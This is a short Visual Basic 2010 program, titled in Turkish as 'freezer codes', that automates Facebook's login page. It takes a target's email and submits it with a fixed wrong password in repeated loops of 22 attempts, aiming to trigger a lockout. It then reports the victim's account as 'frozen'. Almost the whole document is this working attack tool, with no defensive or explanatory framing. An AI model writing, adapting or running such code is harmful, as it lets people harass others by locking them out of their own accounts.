Visual Basic 2010 Express'de Dondurucu Kodları

    Public Class Form1
     
        Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
        End Sub
     
        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
            Timer1.Start()
            Timer2.Start()
     
            Label3.Text = "Freezing..."
     
            Dim i As Integer
            For i = 0 To 21
                WebBrowser1.Document.GetElementById("email").SetAttribute("value", (TextBox1.Text))
                WebBrowser1.Document.GetElementById("pass").SetAttribute("value", "12312332112123")
                WebBrowser1.Document.GetElementById("login").InvokeMember("click")
            Next i
        End Sub
     
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            ProgressBar1.Increment(1)
            If ProgressBar1.Value = ProgressBar1.Maximum Then
                Dim i As Integer
                For i = 0 To 21
                    Try
     
                        WebBrowser1.Document.GetElementById("email").SetAttribute("value", (TextBox1.Text))
                        WebBrowser1.Document.GetElementById("pass").SetAttribute("value", "12312332112123")
                        WebBrowser1.Document.GetElementById("login").InvokeMember("click")
                    Catch ex As Exception
                    End Try
                Next i
            End If
        End Sub
     
        Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
            ProgressBar2.Increment(1)
            If ProgressBar2.Value = ProgressBar2.Maximum Then
                Timer1.Stop()
                Timer2.Stop()
                MsgBox("The FaceBook account " & (TextBox1.Text) & " is frozen.")
                Label3.Text = (TextBox1.Text) & " is Frozen"
                ProgressBar2.Value = ProgressBar2.Minimum
            End If
        End Sub
     
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Me.Enabled = False
            WebBrowser1.Navigate("https://login.facebook.com/login.php?login_attempt=1")
            Timer3.Start()
        End Sub
     
        Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
            Timer3.Stop()
            Me.Enabled = True
        End Sub
     
        Private Sub Label2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label2.Click
     
        End Sub
    End Class